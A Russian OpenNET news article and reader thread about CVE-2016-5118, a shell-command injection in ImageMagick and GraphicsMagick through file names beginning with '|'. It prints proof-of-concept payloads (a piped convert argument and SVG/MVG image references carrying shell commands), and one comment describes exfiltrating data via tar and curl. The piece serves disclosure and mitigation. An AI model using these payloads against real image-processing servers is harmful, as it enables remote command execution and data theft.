The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Новая критическая уязвимость в GraphicsMagick и ImageMagick

30.05.2016 10:14

В пакетах ImageMagick и GraphicsMagick выявлена ещё одна опасная уязвимость (CVE-2016-5118), позволяющая выполнить произвольные команды shell при обработке специально оформленного имени файла. Проблема связана с передачей в вызов popen имени файла, без его проверки на наличие спецсимволов, что позволяет использовать модификатор "|", отвечающий за ответвление процесса для создания канала ввода-вывода. Передав вместо имени файла аргумент "|имя" можно выполнить произвольный код, например:


   convert '|echo Hello > hello.txt;' null:

Кроме эксплуатации приложений, для преобразования форматов изображений вызывающих утилиту convert, атака может быть проведена при обработке специально оформленных SVG- или MVG-файлов, в которых вместо ссылки на изображение может применяться конструкция:



SVG:

   xlink:href="|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png"

MVG:

  push graphic-context
  viewbox 0 0 640 480
  image copy 200,200 100,100 "|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png"
  pop graphic-context

Проблема присутствует в функции OpenBlob() из состава blob.c. Не исключено, что кроме утилиты convert и обработчиков SVG/MVG, уязвимость может проявляться и в других областях применения GraphicsMagick и ImageMagick. В качестве решения проблемы рекомендуется отключить использование функции popen, убрав флаг HAVE_POPEN в файле magick/blob.c ("#undef HAVE_POPEN"). На момент написания новости исправление доступно лишь в виде патча. Обновления пакетов для дистрибутивов еще не сформированы: Debian, Ubuntu, RHEL/CentOS, SUSE, openSUSE, FreeBSD, Fedora.

  1. Главная ссылка к новости (http://seclists.org/oss-sec/20...)
  2. OpenNews: Разработчики GraphicsMagick проанализировали подверженность уязвимостям ImageMagick
  3. OpenNews: Критическая уязвимость в пакете ImageMagick, используемом на многих сайтах
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/44511-graphicsmagick
Ключевые слова: graphicsmagick, imagemagick
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (32) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Какаянахренразница (ok), 10:39, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Вот жеж зараза...
     
  • 1.3, Аноним (-), 10:53, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +42 +/
    Никогда такого не было, и вот опять
     
     
  • 2.30, Stellarwind (?), 12:17, 31/05/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Точно те же самые проблемы уже давным давно находили вроде в mplayer/mencoder, но авторы упорно продолжают ходить по граблям. Только там еще с плейлистами проблемы были.
     

  • 1.6, омномнимус (ok), 11:17, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +5 +/
    > popen имени файла, без его проверки на наличие спецсимволов

    говнокод, как он есть.

     
  • 1.7, Андрей (??), 11:23, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    От этих пакетов никто особенно не зависит:

    $ pactree -r -d 5 graphicsmagick
    graphicsmagick
    └─pdf2djvu
    $ pactree -r -d 5 imagemagick
    imagemagick
    ├─cups-filters
    │ └─cups
    │   └─cups-pdf
    ├─emacs
    ├─inkscape
    └─pstoedit
      └─calligra-karbon

     
     
  • 2.9, й (?), 11:48, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +4 +/
    на вашем локалхосте -- возможно.

    imagemagick активно используют веб-приложения, тот же redmine.

     
     
  • 3.10, Аноним (-), 11:56, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    В redmine недели две назад добавили дополнительную защиту: https://github.com/redmine/redmine/commit/bf81c96b79cc80bc4ffb08714a3d3f92e68e
     
     
  • 4.15, й (?), 13:03, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    и как она защитит от malformed svg, как в новости?
     
  • 2.12, Аноним (-), 12:19, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Сервера активно используют их для конвертации, ресайза, обрезки и т.д. картинок, в том числе на лету.
     
  • 2.14, Какаянахренразница (ok), 12:26, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > От этих пакетов никто особенно не зависит:

    php5-imagick зависит. А он на многих веб-серверах используется.

     
  • 2.31, Аноним (-), 18:16, 31/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    На одном известном порносайте-галерее с самописным движком через предыдущую дыру в ImageMagic украли исходный код движка и базу пользователей с хешами паролей. Через имя файла тоже можно запустить tar+xz+curl, чтобы упаковать всё интересное и загрузить на сервер злоумышленника.
     

  • 1.8, Сергей (??), 11:26, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    С другой стороны, подобная уязвимость может существовать и в других пакетах...
     
     
  • 2.11, Какаянахренразница (ok), 12:18, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +11 +/
    > С другой стороны, подобная уязвимость может существовать и в других пакетах...

    Избушка-избушка, повернись к лесу передом, ко мне задом. Возможно, с другой стороны у тебя существует уязвимость.

     

  • 1.13, Аноним (-), 12:21, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Старый workaround подходит ( https://slashdot.org/comments.pl?sid=9074795&cid=52061711 ), как я полагаю.

    // b.

     
     
  • 2.16, тоже Аноним (ok), 13:07, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    А, собственно, какая из этих строчек прикроет дырку в SVG?
     
     
  • 3.19, Аноним (-), 13:46, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    <policy domain="coder" rights="none" pattern="URL" />
     

  • 1.17, Аноним (-), 13:41, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Критическая статья бывает, а уязвимость критичная
     
     
  • 2.20, Аноним (-), 15:07, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Ежели хотел ум свой показать, так у тебя не вышло: под новостью кнопка "исправить" есть. Специально для таких случаев, прикинь?
     

  • 1.18, Аноним (-), 13:46, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ...и этот патч делает #undef HAVE_POPEN? Да уж, исправление так исправление.
     
  • 1.21, chinarulezzz (ok), 15:23, 30/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/


    ┌─[ ~ ]
    └─$ gm convert '|echo Hello > hello.txt;' null:
    gm convert: Unable to open file (/tmp/gmszBE6e) [Нет такого файла или каталога].



    Что не так?!

     
     
  • 2.22, Аноним (-), 15:43, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    Меня тоже держите в курсе :D

    $ convert '|echo Hello > hello.txt;' null:
    convert: no decode delegate for this image format 'TXT;' @ error/constitute.c/ReadImage/501.
    convert: no images defined 'null:' @ error/convert.c/ConvertImageCommand/3210.

    Debian GNU/Linux 8.4 (jessie)

    $ convert --version
    Version: ImageMagick 6.8.9-9 Q16 x86_64 2016-05-16

     
     
  • 3.24, chinarulezzz (ok), 15:50, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > Меня тоже держите в курсе :D

    ааа, тупанул) проверил hello.txt, всё как и ожидалось.

     
  • 2.23, омномнимус (ok), 15:46, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/



    $ convert '|echo Hello > hello.txt;' null:
    convert.im6: no decode delegate for this image format '/tmp/magick-cAeKOHK7' @ error/constitute.c/ReadImage/544.
    convert.im6: no images defined 'null:' @ error/convert.c/ConvertImageCommand/3044.
    $ cat hello.txt
    Hello
    $ convert -version
    Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
    Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
    Features: OpenMP    



     
     
  • 3.25, Аноним (-), 15:50, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    $ cat hello.txt
    cat: hello.txt: Нет такого файла или каталога

    ЧЯДНТ?

     
     
  • 4.27, омномнимус (ok), 16:16, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    телепаты в отпуске
     
  • 2.26, Нанобот (ok), 15:52, 30/05/2016 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >Что не так?!

    всё так, файл hello.txt создаётся

     

  • 1.28, Кто тут (?), 08:51, 31/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Выводится ошибка, но файл создается. Установил mc через imagemagic. Полет нормальный.
     
  • 1.29, Аноним (-), 09:17, 31/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    «... в вызов popen...» — главное, дальше можно не читать. Интересно, Тео же Раадт и компания рискнут убрать popen из libc?..
     
     
  • 2.33, Led (ok), 22:23, 31/05/2016 [^] [^^] [^^^] [ответить]  
  • +/
    > Интересно, Тео же Раадт и компания рискнут убрать popen из libc?..

    Пусть они сначала сами вылезут из popen.


     

  • 1.32, Alexey G (?), 21:40, 31/05/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    http://git.imagemagick.org/repos/ImageMagick/commit/ca430ff77794980941ff0fa0d
     
  • 1.35, ano (??), 23:18, 01/06/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    больше уязвимостей, хороших и разных
     
  • 1.36, Аноним (-), 02:05, 02/06/2016 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    такая конструкция хорошо работает: convert '|echo Hello > hello.txt;' null:

    А как создать SVG файл? Что-то не получается

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру